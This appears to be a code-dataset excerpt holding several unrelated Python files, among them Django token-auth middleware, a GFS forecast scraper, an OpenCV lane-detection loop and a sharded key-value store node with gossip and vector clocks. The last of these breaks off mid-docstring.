text stringlengths 38 1.54M |
|---|
from django.contrib.auth.models import AnonymousUser
from rest_framework.authtoken.models import Token
from channels.db import database_sync_to_async
from channels.middleware import BaseMiddleware
@database_sync_to_async
def get_user(token_key):
# If you are using normal token based authentication
try:
token = Token.objects.get(key=token_key)
return token.user
except Token.DoesNotExist:
return AnonymousUser()
class TokenAuthMiddleware(BaseMiddleware):
def __init__(self, inner):
super().__init__(inner)
async def __call__(self, scope, receive, send):
try:
token_key = (dict((x.split('=') for x in scope['query_string'].decode().split("&")))).get('token', None)
except ValueError:
token_key = None
scope['user'] = AnonymousUser() if token_key is None else await get_user(token_key)
return await super().__call__(scope, receive, send) |
from django import forms
post = (
('-','---SELECT---'),
('President','President'),
('Vice President','Vice President'),
('Sports secretary','Sports secretary'),
('Environment secretary','Environment secretary'),
('Cultural secretary','Cultural secretary'),
)
class SessionStartForm(forms.Form):
post = forms.CharField(
required = True,
label = ' Post ',
max_length = 64,
widget = forms.Select(
choices = post,
attrs={
"class": "form-control",
}
)
)
# year = forms.IntegerField(
# required = True,
# label = 'year',
# ) |
from rest_framework import serializers
from .models import Book
class BookListSerializer(serializers.ModelSerializer):
"""Books list serializer"""
class Meta:
model = Book
fields = ('id', 'title', 'author')
class BookDetailSerializer(serializers.ModelSerializer):
"""Books detail and create serializer"""
class Meta:
model = Book
fields = ('id', 'title', 'author', 'description')
read_only_fields = ('id',)
|
import numpy as np
import matplotlib.pyplot as plt
import config
import pandas as pd
import seaborn as sns
'''
Heatmap
---------------------------
Plot
'''
__all__ = [
'Heatmap'
]
class Heatmap():
def __init__(self, bandwidth, csi):
self.bandwidth = bandwidth
self.csi = csi
self.nsub = int(bandwidth * 3.2)
# Remove null subcarrier - jji
if config.remove_null_subcarriers and bandwidth == 20:
self.nsub -= 8
def plot(self):
df = pd.DataFrame(np.abs(self.csi))
#df = df[:20000]
plt.pcolor(df)
#plt.xticks(np.arange([-32, -16, 0, 16, 32]))
#plt.yticks(np.arange(0, len(df.index), 1), df.index)
plt.title('CSI heatmap')
plt.xlabel('Subcarrier')
plt.ylabel('Packets')
plt.colorbar()
plt.show()
plt.show()
def __del__(self):
pass
|
#! /usr/bin/python3
import sys
def sum_rec(num):
if num == 0:
return 0
else:
return (num + sum_rec(num-1))
def main():
if len(sys.argv) <= 1:
print("No Command line arguments. Please enter the number")
exit()
else:
print("Name of the script is {}".format(sys.argv[0]))
print("Finding the sum for number {}".format(int(sys.argv[1])))
print("Sum is {}".format(sum_rec(int(sys.argv[1]))))
if __name__ == '__main__':
main()
|
import sys
sys.path.append("..")
import urllib.request as urllib
from bs4 import BeautifulSoup
import datetime
import numpy as np
import re
from harvest_utils.fetch_utils import get_opendapp_netcdf
def get_gfs_forecast_info(gfs_url):
"""
get_gfs_forecast_info(gfs_url)
This function assembles an array tuples containing the model forecast field datetime
as well as the index of the forecast field. This facilitates to concurrent downloads of model data.
-----------------------------------------------------------------------
Input: {string} gfs_url - displays available GFS forecast model runs
i.e. http://nomads.ncep.noaa.gov:9090/dods/gfs_0p25
-----------------------------------------------------------------------
Output: array of tuples with this structure:
forecast_info = [(forecast_indx, forecast_field_datetime), ...]
"""
page = urllib.urlopen(gfs_url).read()
soup = BeautifulSoup(page,'html.parser')
soup.prettify()
date_array = np.array([])
for anchor in soup.findAll('a', href=True):
anchor_str = anchor['href']
match = re.search(r'gfs(\d{8})$', anchor_str)
if match:
unformatted_date = match.group(1)
datetime_element = datetime.datetime.strptime(unformatted_date,'%Y%m%d')
date_array = np.append(date_array, datetime_element)
max_forecast_run_date = np.max(date_array)
formatted_latest_date = datetime.datetime.strftime(max_forecast_run_date, '%Y%m%d')
# find the latest run using bs4
forecast_run_url = gfs_url +'/gfs' + formatted_latest_date
page = urllib.urlopen(forecast_run_url).read()
soup = BeautifulSoup(page,'html.parser')
soup.prettify()
forecast_run_array = {}
for model_run in soup.findAll('b'):
match = re.search(r'(gfs_.*_(\d{2})z):$', model_run.string)
if match:
run_name = match.group(1)
forecast_run_hour = match.group(2)
forecast_run_array.setdefault(int(forecast_run_hour), run_name)
# build forecast field datetime/indx array
max_run = max(forecast_run_array.keys())
opendapp_url = forecast_run_url + '/' + run_name
with get_opendapp_netcdf(opendapp_url) as file:
product_times = file.variables['time'][:]
forecast_info = {}
forecast_info['url'] = opendapp_url
forecast_info['data'] = []
for forecast_indx, forecast_time in enumerate(product_times):
basetime_int = int(forecast_time)
extra_days = forecast_time - basetime_int
# need to subtract 1 since GFS is days since 0001-01-01 (yyyy-mm-dd)
full_forecast_time = (datetime.datetime.fromordinal(basetime_int) +
datetime.timedelta(days = extra_days) - datetime.timedelta(days=1))
forecast_info['data'].append((forecast_indx, full_forecast_time))
return forecast_info
if __name__ == "__main__":
gfs_url = 'https://nomads.ncep.noaa.gov:9090/dods/gfs_0p25'
get_gfs_forecast_info(gfs_url)
|
#!/usr/bin/python3
from nbt import nbt
from sys import argv
items = []
for filename in argv[1:]:
f = nbt(file=filename).contents
scale = int(f["data"]["data"]["scale"])
items.append([scale, filename])
items.sort(key=lambda x: x[0], reverse=True)
for i in items: print(i[1])
|
# -*- coding: utf-8 -*-
"""
Created on Tue May 30 09:43:22 2017
@author: Fabian
"""
import numpy as np
import cv2
from line_merge import line_interpreter
#from movement_handling import movement
from connection_handling import connection
class VisionAlgorithm(object):
def __init__(self,con):
self.con = con
self.i = 1
self.img = self.get_img()
self.width = int(tuple(np.shape(self.img))[1])
self.height = int(tuple(np.shape(self.img))[0])
def masking(self,img):
img = img[self.height/2:self.height,0:self.width]
#cv2.imshow('2',img)
return img
def post_processing(self,img):
crop_img = self.masking(img)
gray_image = cv2.cvtColor(crop_img, cv2.COLOR_BGR2GRAY)
#cv2.imshow('1',gray_image)
equ_img = cv2.equalizeHist(gray_image)
blur = cv2.GaussianBlur(equ_img,(5,5),0)
#cv2.imshow('2',blur)
post_processed_img = cv2.Canny(blur,80,150)
return post_processed_img
def extend_lines_VA(self,lines,lm):
new_lines = []
for line in lines:
x = lm.extend_line(line,self.height/2)
x[1] = x[1] + self.height/2
x[3] = x[3] + self.height/2
new_lines.append(x)
new_lines_n = np.array(new_lines)
number_lines = np.shape(new_lines_n)[0]
new_lines_n = new_lines_n.reshape(number_lines,1,4)
return new_lines_n,new_lines
def main(self):
i = 0
while True:
img = self.img
self.post_processed = self.post_processing(img)
minLineLength = 80
maxLineGap = 30
lines = cv2.HoughLinesP(self.post_processed,1,np.pi/180,20,minLineLength,maxLineGap)
if lines == None:
print("No lines")
lines = np.array([0,0,0,0]).reshape(1,1,4)
#print(lines)
lm = line_interpreter(lines,0.3)
lines = lm.merge_same(lines)
#y_axis = np.array([[0,0,self.width,0]])
new_lines_n,new_lines = self.extend_lines_VA(lines,lm)
indicator = 0
for line in new_lines:
cv2.line(img,(int(line[0]),int(line[1]+self.height/2)),(int(line[2]),int(line[3]+self.height/2)),(255,255,0),3)
indicator += (int(line[0])-int(line[2]))
#print(indicator)
try:
#this is used for consitency (AM is taken of the last 5 measuerements)
#it is getting acted according to those
if indicator < 700 or indicator > - 700:
prev_indicators.append(indicator)
self.indicator_Am = sum(prev_indicators)/len(prev_indicators)
i += 1
if i == 5:
print(self.indicator_Am)
i = 0
if len(prev_indicators) == 10:
prev_indicators = prev_indicators[1:]
#if there are already some measuerements remove the first one
except NameError:
prev_indicators = [indicator]
self.con.lineQueue.write_temp(lines)
self.img = self.get_img()
# def Test_Unit(self):
# print("Called")
# for i in range(1,7):
# self.i = i
# print(i)
# self.main()
# cv2.imshow('Window_Original',self.img)
# cv2.waitKey(0)
# cv2.destroyAllWindows()
def get_img(self):
return self.con.get_frame()
#if __name__ == "__main__":
# VA = VisionAlgorithm()
# VA.Test_Unit()
|
import sys
import hashlib
import json
from os import environ
import threading
from flask_restful import reqparse
from flask import request
import requests
import grequests
import schedule
import time
import math
from vector_clock import VectorClock, VectorClockEncoder, VectorClockDecoder
from history import History, HistoryDecoder, HistoryEncoder
from urllib.parse import urlparse, parse_qs
DEBUG = False
# lets use a consistent timeout for everything
TIMEOUT_LENGTH = 0.5
def timeout_handler(req, exception):
if DEBUG:
print("Request failed: {}".format(exception.__class__.__name__), file=sys.stderr)
return None
class Node:
def __init__(self, new_view, repl_factor):
# view change & node IDs ##############################################
self.fragments = [] # view change fragments (usually empty)
# create and then set our view/shard vars
self.view = [] # current view
self.__old_view = [] # needed during view change
self.repl_factor = None # current view repl_factor
self.__old_repl_factor = None # old view repl_factor
self.shards = [] # functionally equivalent to our view from asgn2
# 2d array where shards[i][j] = addr of shard i, replica j
self.__old_shards = [] # needed for view change
self.this_shard = None # ID of this replica"s shard
self.__old_this_shard = None # needed for view change
# view ID -- used to work around stale client-context assoc w/ old view
self.current_view = 0
self.cur_time = None
self.set_shards_and_view(new_view, int(repl_factor))
######################################################################
# kvs / causality stuff ##############################################
self.local_kvs = {} # the kvs dict of this node
self.per_item_history = {} # {key : History} -- History contains all
# dependencies of "key", including
# the clock associated w/ each of our keys
self.local_key_versions = History()
# I decided to store this separately
# from the history because it makes
# resharding simpler
# keys/clocks that have been changed
self.between_gossip_updates = History()
# since the last fully successful
# gossip (when all replicas
# received my updates)
######################################################################
# gossip stuff #######################################################
self.replica_alive = {}
if self.this_shard is not None:
self.replica_alive = {replica:True for replica in self.shards[self.this_shard]}
self.gossip_thread = threading.Thread(
target=self.timed_gossip)
#self.liveness_thread = threading.Thread(
# target=self.timed_liveness_check)
self.gossip_thread.start()
#self.liveness_thread.start()
self.wait_time = 2
######################################################################
def get_shard_id(self, addr):
return self.view.index(addr) // self.repl_factor
def hash(self, key):
"""
Params:
Key
Returns:
ID of server that the key should be stored on (need ID instead
of address to facilitate placing keys in buckets during reshard)
"""
# encode(utf8) -> unicode objects must be encoded before hashing
# hexdigest() -> hex string (no binary data)
hash_val = int(hashlib.md5(key.encode("utf-8")).hexdigest(), 16)
return hash_val % len(self.shards)
def set_shards_and_view(self, new_view, repl_factor, current_view=0):
"""
Params:
- A string corresponding to the new_view
- An int corresponding to replication factor
Result:
Updates all current view information for the node
Returns:
Nothing
"""
# save previous view variables
self.old_view = self.view
self.__old_shards = self.shards
self.__old_repl_factor = self.repl_factor
self.__old_this_shard = self.this_shard
# Converts passed-in VIEW string to an array then sorts
self.view = new_view.split(",")
self.view.sort()
self.repl_factor = repl_factor
self.current_view = int(current_view)
# update shards to reflect the view change
self.shards = [[None for x in range(repl_factor)]
for y in range(len(self.view)//repl_factor)]
# populate shards
for addr in self.view:
shard_id = self.view.index(addr) // self.repl_factor
repl_id = self.view.index(addr) % self.repl_factor
self.shards[shard_id][repl_id] = addr
# save my shard_id
if environ["ADDRESS"] not in self.view:
self.this_shard = None
return
self.this_shard = self.view.index(environ["ADDRESS"]) // repl_factor
# reset vector clocks at the beginning of view changes
self.cur_time = VectorClock(
environ["ADDRESS"], self.shards[self.this_shard])
def reset_histories(self):
# resests histories between view changes
self.per_item_history = {}
self.local_key_versions = History()
self.between_gossip_updates = History()
def try_reshard(self, new_view, repl_factor):
"""
- if I"m the shard leader, call initiate_reshard,
otherwise I"m a proxy for my shard leader
"""
# I'm not the leader -- be proxy
# Case 1: request sent to a completely new node
if environ["ADDRESS"] not in self.view:
response = requests.put("http://{}/kvs/view-change".format(
self.shards[0][0]),
json={"view": new_view, "repl-factor": repl_factor},
headers=dict(request.headers), timeout=TIMEOUT_LENGTH)
return response.json(), 200
# Case 2: request sent to a current node, but not the shard-leader
if self.shards[self.this_shard][0] != environ["ADDRESS"]:
response = requests.put("http://{}/kvs/view-change".format(
self.shards[self.this_shard][0]),
json={"view": new_view, "repl-factor": repl_factor},
headers=dict(request.headers), timeout=TIMEOUT_LENGTH)
return response.json(), 200
return self.initiate_reshard(new_view, repl_factor)
def initiate_reshard(self, new_view, repl_factor):
"""
Input: a comma-separated string of node addresses and a replication factor (int)
Note: Important --> this is the ACTUAL reshard orchestration function
- We need a separate function to be used as an endpoint for
incoming view-change requests that checks if its the
shard leader, and if not, act as a proxy for the real leader,
forward to this function"s endpoint
"""
self.set_shards_and_view(new_view, repl_factor)
# Generates lists of nodes (addresses)
all_nodes = list(set().union([replica for replica in self.view if replica != environ["ADDRESS"]],
[replica for replica in self.__old_view if replica != environ["ADDRESS"]]))
new_leaders = [self.shards[i][0] for i in range(len(self.shards))
if self.shards[i][0] != environ["ADDRESS"]]
old_leaders = [self.__old_shards[i][0] for i in range(len(self.__old_shards))
if self.__old_shards[i][0] != environ["ADDRESS"]]
# Step 0: Tell shard leaders to collect all their keys -------------------------------------
# please note this is completely different from "prime" in asgn3
# return the value of current_view
rs = [grequests.put("http://{}/kvs/reshard/prime".format(leader))
for leader in old_leaders]
responses = grequests.map(rs)
# I get all my keys too
self.leader_prime()
# find the max of (current_view IDs) -- because reshard leader could be brand new node
all_view_IDs = []
for response in responses:
all_view_IDs.append(response.json()["current_view"])
all_view_IDs.append(self.current_view)
self.current_view = max(all_view_IDs) + 1
# ------------------------------------------------------------------------------------------
# Step 0.5: Give new view to all nodes in the system ---------------------------------------
rs = [grequests.put("http://{}/kvs/reshard/set_new_view".format(node),
json={"view": ",".join(self.view),
"repl_factor": self.repl_factor,
"current_view": self.current_view}) for node in all_nodes]
responses = grequests.map(rs)
# ------------------------------------------------------------------------------------------
# Step 1: Tell old shard leaders to rehash keys -------------------------------------------
# contact all old shard leaders at endpoint: "/kvs/reshard/rehash"
# Rehash: Nodes rehash their keys into "fragments" (dictionaries for
# every other shard leader)
rs = [grequests.put("http://{}/kvs/reshard/rehash".format(follower),
json={"view": ",".join(self.view),
"repl_factor": self.repl_factor}) for follower in old_leaders]
responses = grequests.map(rs)
# Check 200 response for all responses
# CODE HERE
# Rehashes myself and assembles fragments for other shards
self.rehash()
self.reset_histories()
# ------------------------------------------------------------------------------------------
# Step 2: Send our fragments to all shard leaders in new_view -----------------------------
# shard_ID ==> self.view.index(shard_leader) // self.repl_factor
rs = [grequests.put("http://{}/kvs/reshard/put_payload".format(shard_leader),
json={"payload": self.fragments[self.get_shard_id(shard_leader)]})
for shard_leader in new_leaders]
responses = grequests.map(rs)
# Make sure all fragments were received
"""
for response in responses:
if response.status_code != 200:
# need to handle error somehow - this is just placeholder code rn
return 500
"""
# delete our fragments (done with them)
self.fragments.clear()
# ------------------------------------------------------------------------------------------
# Step 3: Tell old shard leaders to send their keys to new shard leaders -------------------
rs = [grequests.get("http://{}/kvs/reshard/reshard".format(follower))
for follower in old_leaders]
# WIP: We may want to consider throttling
responses = grequests.map(rs, exception_handler=timeout_handler)
# Check 200 response from all nodes
# CODE HERE
# ------------------------------------------------------------------------------------------
# Step 4: Tell new shard leaders to send their keys to the other replicas in their shard ---
rs = [grequests.get("http://{}/kvs/reshard/send_keys_to_replicas".format(leader))
for leader in new_leaders]
responses = grequests.map(rs)
# ------------------------------------------------------------------------------------------
# Step 5: send out my keys to other replicas in my shard ------------
if environ["ADDRESS"] in self.view and environ["ADDRESS"] == self.shards[self.this_shard][0]:
others = [replica for replica in self.shards[self.this_shard]
if replica != environ["ADDRESS"]]
rs = [grequests.put("http://{}/kvs/reshard/put_payload".format(other),
json={"payload": self.local_kvs}) for other in others]
grequests.map(rs)
# ------------------------------------------------------------------------------------------
# Step 6: construct client response --------------------------------------------------------
# the format of responses in response is:
# {"address": node_addr, "key-count": node_count}
shard_resp = []
for response in responses:
# only add response to client response if it"s not empty
if response.json()["shard-id"] is not None:
shard_resp.append(response.json())
if environ["ADDRESS"] in self.view and environ["ADDRESS"] == self.shards[self.this_shard][0]:
shard_resp.append({"shard-id": self.this_shard,
"key-count": len(self.local_kvs),
"replicas": self.shards[self.this_shard]})
return {"message": "View change successful", "shards": shard_resp}, 200
def prime(self):
"""
Input: A comma-separated string representing the view
Outline:
- the shard leader tells his replicas to give him their keys and delete their own keys
- shard leader acks caller (the view-change leader)
"""
other_replicas = [replica for replica in self.shards[self.this_shard]
if replica != environ["ADDRESS"]]
# send key request message --> receiving nodes send their keys and then clear their kvs
res = [grequests.get("http://{}/kvs/reshard/get_keys".format(replica))
for replica in other_replicas]
responses = grequests.map(res)
# leader puts all keys in his kvs if they"re more recent
for response in responses:
new_keys = response.json()["keys"]
new_hist = json.loads(response.json()["history"], cls=HistoryDecoder)
updated_keys = self.local_key_versions.merge(new_hist)
# update our keys if we need to
for key in updated_keys:
self.local_kvs[key] = new_keys[key]
# leader no longer needs histories
self.reset_histories()
return {"current_view": self.current_view}, 200
def leader_prime(self):
"""
Input: A comma-separated string representing the view
Outline:
- the shard leader tells his replicas to give him their keys and delete their own keys
- shard leader acks caller (the view-change leader)
"""
# return if I am brand new
if self.__old_this_shard is None:
return
other_replicas = [replica for replica in self.__old_shards[self.__old_this_shard]
if replica != environ["ADDRESS"]]
# send key request message --> receiving nodes send their keys and then clear their kvs
res = [grequests.get("http://{}/kvs/reshard/get_keys".format(replica))
for replica in other_replicas]
responses = grequests.map(res)
# leader puts all keys in his kvs if they"re more recent
for response in responses:
new_keys = response.json()["keys"]
new_hist = json.loads(response.json()["history"], cls=HistoryDecoder)
updated_keys = self.local_key_versions.merge(new_hist)
# update our keys if we need to
for key in updated_keys:
self.local_kvs[key] = new_keys[key]
# leader no longer needs histories
self.reset_histories()
def get_keys(self):
"""
- Receiving node responds to caller(shard leader) with all of its keys and their most recent updates
- then removes its kvs and all histories
"""
kvs = self.local_kvs
versions = self.local_key_versions
self.local_kvs = {}
self.reset_histories()
return {"keys": kvs, "history": HistoryEncoder().encode(versions)}, 200
def rehash(self):
"""
Places all local key/value pairs into their appropriate temporary dictionaries.
"""
# Replaces the fragments with empty dictionaries corresponding to the # of shards
self.fragments = [{} for _ in range(len(self.shards))]
# Populates the fragments with their corresponding key-value pairs based on each key"s hash
for key, value in self.local_kvs.items():
self.fragments[self.hash(key)][key] = value
# Replaces the local KVS with its new key-value pairs
if environ["ADDRESS"] in self.view:
self.local_kvs = self.fragments[self.this_shard]
else:
self.local_kvs = {}
def put_payload(self, fragment):
"""
Note: the shard leader is the one using this function
Input: A JSON payload which is just the full key/value list sent from another node.
Function: Adds every item in the JSON payload to local_kvs
"""
# Incorporate all incoming keys into my local kvs
self.local_kvs.update(fragment)
return {}, 200
def distribute_keys(self):
"""
shard leader sends his keys to the other replicas in his shard
"""
other_replicas = [replica for replica in self.shards[self.this_shard]
if replica != environ["ADDRESS"]]
# send keys
responses = [grequests.put("http://{}/kvs/reshard/put_payload".format(replica),
json={"payload": self.local_kvs}) for replica in other_replicas]
grequests.map(responses)
return {"shard-id": self.this_shard, "key-count": len(self.local_kvs),
"replicas": self.shards[self.this_shard]}, 200
def reshard(self):
"""
desc: old shard leaders send out their keys to the new shard leaders
"""
# send data to other shard leaders in the new view
others = [self.shards[i][0] for i in range(len(self.shards))
if self.shards[i][0] != environ["ADDRESS"]]
responses = [grequests.put("http://{}/kvs/reshard/put_payload".format(other),
json={"payload": self.fragments[self.get_shard_id(other)]})
for other in others]
grequests.map(responses)
# clear our temp fragments - we are done with them
self.fragments.clear()
# If I"m not part of the new view, send empty response
if environ["ADDRESS"] not in self.view:
return {}, 200
# return our address and number of keys to the leader
return {"shard-id": self.this_shard, "key-count": len(self.local_kvs),
"replicas": self.shards[self.this_shard]}, 200
########## GOSSIP FUNCTIONS ########################################################################
# Timers schedule gossip and liveness check every x seconds
def timed_gossip(self):
schedule.every(1).seconds.do(self.gossip)
while True:
schedule.run_pending()
time.sleep(1)
def timed_liveness_check(self):
schedule.every(1).seconds.do(self.liveness_check)
while True:
schedule.run_pending()
time.sleep(1)
"""
send out items that have changed since last gossip,
determine by looking through current_events[], list of items that have changed since the last gossip
"""
def gossip(self):
"""
- protocol for 'gossiping' our keys between replicas to achieve eventual and causal consistency
"""
if self.this_shard is None:
return
# populate dict to send out values to be updated
changed_keys = {} # dicitonary of keys and their values
per_item_history_for_changed_keys = {} # dictionary of History objects
# get the last modified items + their respective histories
for key in self.between_gossip_updates:
changed_keys[key] = self.local_kvs[key]
per_item_history_for_changed_keys[key] = self.per_item_history[key]
# need to send a few things:
# 1. self.per_item_history_for_changed_keys ==> replaces per_item_history on replica node
# 2. changed_keys ==> so receiving node can update their keys/values
# 3. self.between_gossip_updates ==> used to compare how recent an item is
# 4. send self.cur_time
# for each replica send a gossip msg
# using grequests better then sending them one-by-one:
# - if several replicas are down, waiting for timeout would be lengthy
# - grequests consistent with our design philosophy from asgn3
replicas = [replica for replica in self.shards[self.this_shard]
if replica != environ["ADDRESS"]]
msgs = [grequests.get("http://" + replica + "/kvs/gossip",
json={"items": {key:value for (key, value) in changed_keys.items()},
"item-history": {key: HistoryEncoder().encode(per_item_history_for_changed_keys[key])
for key in changed_keys},
"updated-key-times": HistoryEncoder().encode(self.between_gossip_updates),
"vector-clock": VectorClockEncoder().encode(self.cur_time),
"address": environ["ADDRESS"]
},
timeout=TIMEOUT_LENGTH) for replica in replicas]
responses = grequests.map(msgs, exception_handler=timeout_handler)
safe_to_delete = True
# go through each response and updates my values accordingly
for i, response in enumerate(responses):
if response is None or response.status_code != 200:
# mark replica as down
self.replica_alive[replicas[i]] = False
# don"t delete between_gossip_history later
safe_to_delete = False
continue
items = response.json()["items"]
history_responses_temp = response.json()["item-history"]
history_responses = {}
for key in history_responses_temp:
history_responses[key] = json.loads(
history_responses_temp[key], cls=HistoryDecoder)
other_clock = json.loads(response.json()["vector-clock"], cls=VectorClockDecoder)
updated_key_times = json.loads(
response.json()["updated-key-times"], cls=HistoryDecoder)
# merge foreign update times with mine ==> returns list of my out-of-date keys
keys_to_replace = self.local_key_versions.merge(updated_key_times)
# replace keys and update necessary variables
for key in keys_to_replace:
self.local_kvs[key] = items[key]
self.per_item_history[key] = history_responses[key]
# update my vector clock
self.cur_time.merge(other_clock)
# if i heard from all replicas --> delete between_gossip_updates
# THIS IS CURRENTLY BROKEN **************************************************************
# if safe_to_delete:
# print("deleting update log", file=sys.stderr)
# self.between_gossip_updates = History()
# just for testing --> let's see what we have
if DEBUG:
print("key-count: {}".format(len(self.local_kvs)), file=sys.stderr)
print("local_kvs:\n", self.local_kvs, file=sys.stderr)
# for key, version in self.local_key_versions.items():
# print("key: {}\nversions: {}".format(key,version), file=sys.stderr)
# for key, history in self.per_item_history.items():
# print("key: {}\nhistory: {}".format(key,history), file=sys.stderr)
def gossip_ack(self, sender_items, item_hist, updated_key_times, vector_clock, address):
# if the sender address is in my view
sender_address = address
if self.this_shard is not None and sender_address in self.shards[self.this_shard]:
# retrieve what items that have been updated on my end
changed_keys = {} # dict of keys and their values
per_item_history_for_changed_keys = {} # dict of History objects
for key in self.between_gossip_updates:
changed_keys[key] = self.local_kvs[key]
per_item_history_for_changed_keys[key] = self.per_item_history[key]
# sender_items = request.json()["items"]
# sender_item_hist = request.json()["item-history"]
history_responses = item_hist
# # populate histery responses dict with decoded sender per item history
# for key in item_hist:
# history_responses[key] = json.loads(
# item_hist[key], cls=HistoryDecoder)
sender_clock = vector_clock
sender_updated_key_times = updated_key_times
# merge sender update times with mine ==> returns list of my out-of-date keys
keys_to_replace = self.local_key_versions.merge(
sender_updated_key_times)
# replace keys and update necessary variables
for key in keys_to_replace:
self.local_kvs[key] = sender_items[key]
self.per_item_history[key] = history_responses[key]
# update my vector clock
self.cur_time.merge(sender_clock)
# return ack
return {
"items": {key:value for (key, value) in changed_keys.items()},
"item-history": {key: HistoryEncoder().encode(per_item_history_for_changed_keys[key])
for key in changed_keys},
"updated-key-times": HistoryEncoder().encode(self.between_gossip_updates),
"vector-clock": VectorClockEncoder().encode(self.cur_time)
}, 200
# alternative: return some meaningful response that makes sender update the view,
# idk if worth the effort rn, could potentially affect view change
# let it get handled during reshard
else:
if DEBUG:
print("\n\nSender address not in shard", file=sys.stderr)
print("Sender address: {}\nMy address: {}\nThe view: {}\n".format(sender_address,environ["ADDRESS"],",".join(self.view)), file=sys.stderr)
# return a dummy response
return {
"items": {},
"item-history": {},
"updated-key-times": {},
"vector-clock": {}
}, 404
# ------------------------------------------------------------------------------------------------------
# Liveness threads currently disabled (unneccesarry )and also broken --> request.remote_addr
# does not give the correct address (doesn't have port number during regular operation and
# during a network partition the address might not be even similar, if we want this thread
# to work, we would need to pass in an address, like we did with gossip)
# ------------------------------------------------------------------------------------------------------
def liveness_check(self):
# check our ded replicas, mark them as alive if they respond
for address in self.replica_alive:
if self.replica_alive[address] == False:
try:
requests.get("http://{}/kvs/liveness".format(address), timeout=TIMEOUT_LENGTH)
except:
None
else:
self.replica_alive[address] = True
def liveness_ack(self):
# if someone asked if we"re alive, ack them and mark them as alive locally
if self.replica_alive[request.remote_addr] == False:
self.replica_alive[request.remote_addr] = True
print(request.remote_addr, file=sys.stderr)
return 200
# GET/PUT/DELETE request handlers *******************************************
def put(self, key):
"""
ASGN4:
requests will include the client context ====================
client context:
{"high_clock":VectorClock,"history":History}
- high_clock is the highest (most recent) vectorclock
the client knows about
- history is a History object containging time stamps
of all keys the client is aware of
putting keys:
- add the key to local_kvs
- merge self.cur_time with high_clock, then increment it
- set high_clock = self.cur_time
- set self.per_item_history[key] = client_history
- set self.local_key_versions[key] = high_clock
- add key and clock to between_gossip_updates
- do client_history.insert(key,local_key_versions[key])
- return client_history and high_clock to the client
proxy:
- these will be useful:
- self.shards[self.this_shard] is the list of all node addresses
in this shard
- self.shards[i] is a list of all nodes in shard i
- self.shards[i][j] is replica j in shard i
"""
# Richard"s Update --- START ---
# NOTE TO SELF: Returning causal context w/o json.dumps
# Gets the data
args = request.json
# Takes the client"s context and converts it to a dictionary
# NOTE: Using args vs. request.args
causal_context = args["causal-context"]
# Determines which shard the key should be in
shard_id = self.hash(key)
# Determines if I am a replica of the shard the key is supposed to be in
if environ["ADDRESS"] in self.shards[shard_id]:
# Checks if cleint"s causal context includes current view
if "current_view" in causal_context:
# Checks if the client"s current view is the same as ours
if int(causal_context["current_view"]) != self.current_view:
# If not, delete client"s history and high clock and treat as fresh
# NOTE: If we get a KeyError it would probs come from here but I"m thinking if we have a current_view, should have everything else
causal_context.pop("high_clock_list", None)
causal_context.pop("history", None)
# del causal_context["high_clock_list"]
# del causal_context["history"]
# Give the client our current view
causal_context["current_view"] = self.current_view
else:
causal_context["current_view"] = self.current_view
# Verifies key
# Question: Would we need to do anything with the client"s causal context if it fails (two checks below), currently sends back whatever came in?
if len(key) > 50:
return {"error": "Key is too long", "message": "Error in PUT", "causal-context": causal_context}, 400
# Checks if the value is present
if args["value"] is None:
return {"error": "Value is missing", "message": "Error in PUT", "causal-context": causal_context}, 400
adding = False
# Determines if we are ADDING or UPDATING
if key not in self.local_kvs:
adding = True
# Adds/Updates the key to our KVS
self.local_kvs[key] = args["value"]
# Checks if the client"s causal context includes high clock
if "high_clock_list" in causal_context and "history" in causal_context:
# Decodes History and VectorClock
history = json.loads(
causal_context["history"], cls=HistoryDecoder)
# Question: I"m not sure if this part is necessary considering we already parsed the JSON so it should"ve converted it to a list for us already?
high_clock_list = causal_context["high_clock_list"]
# Decodes each high clock in the high clock list
for index, high_clock in enumerate(high_clock_list):
high_clock_list[index] = json.loads(
high_clock, cls=VectorClockDecoder)
# Merges our current time with the high clock
self.cur_time.merge(high_clock_list[self.this_shard])
# Increments our current time
self.cur_time.increment()
# Sets the high clock to our current time
high_clock_list[self.this_shard] = self.cur_time
# Updates the per item history
self.per_item_history[key] = history
# Tracks updates
self.per_item_history[key].insert(
key, high_clock_list[self.this_shard])
# Inserts the updated per item history into the client"s history
history.merge(self.per_item_history[key])
# Encodes History and VectorClock before sending back
causal_context["history"] = HistoryEncoder().encode(history)
causal_context["high_clock_list"] = [VectorClockEncoder().encode(high_clock)
for high_clock in high_clock_list]
else:
# Increments our current time
self.cur_time.increment()
# Creates a new high clock list
high_clock_list = [None for _ in range(
len(self.view) // self.repl_factor)]
# Sets the new high clock to our current time
high_clock_list[self.this_shard] = self.cur_time
# Creates a new history
history = History()
# Creates the per item history
self.per_item_history[key] = history
# Tracks updates
self.per_item_history[key].insert(
key, high_clock_list[self.this_shard])
# Inserts the updated per item history into the client"s history
history.merge(self.per_item_history[key])
# Encodes History and VectorClock before sending back
causal_context["history"] = HistoryEncoder().encode(history)
causal_context["high_clock_list"] = [VectorClockEncoder().encode(high_clock)
for high_clock in high_clock_list]
# Adds key and clock to local key versions
self.local_key_versions.insert(key, self.cur_time)
# Adds key and clock to between gossip updates
self.between_gossip_updates.insert(key, self.cur_time)
# Replies to the client
if adding:
return {"message": "Added successfully", "replaced": False, "causal-context": causal_context}, 201
else:
return {"message": "Updated successfully", "replaced": True, "causal-context": causal_context}, 200
else:
# Proxies
# Question: Client will always send causal-context right? Not checking for empty body currently
resp = [grequests.put("http://{}/kvs/keys/{}".format(addr, key),
json=request.json,
headers=dict(request.headers),
timeout=TIMEOUT_LENGTH)
for addr in self.shards[shard_id]]
responses = grequests.map(resp, exception_handler=timeout_handler)
bad_response = None
# Checks for the first valid response
for i, response in enumerate(responses):
# Skips if timed out
if response is None:
continue
if response.status_code != 200:
bad_response = response
bad_response.json().update({"address": self.shards[shard_id][i]})
# Gets json
resp = response.json()
resp.update({"address": self.shards[shard_id][i]})
return resp, response.status_code
# if put couldn't be fulfilled, return why not
if bad_response is not None:
return bad_response.json(), bad_response.status_code
# All requests failed
# Question: Should we send back the causal context?
return {"error": "Unable to satisfy request", "message": "Error in PUT", "causal-context": causal_context}, 503
# Richard"s Update --- END ---
# -----------------------------------------------------------------------------
def get(self, key):
"""
ASGN4:
requests will include the client context ====================
client context:
{"high_clock":VectorClock,"history":History}
- high_clock is the highest (most recent) vectorclock
the client knows about
- history is a History object containging time stamps
of all keys the client is aware of
getting keys:
- safe to return local_kvs[key] if:
- self.local_key_versions[key] >= client_history[key]
- if not safe:
- set our cur_time = cur_time merged with client_high_clock
- NACK the client
- if safe:
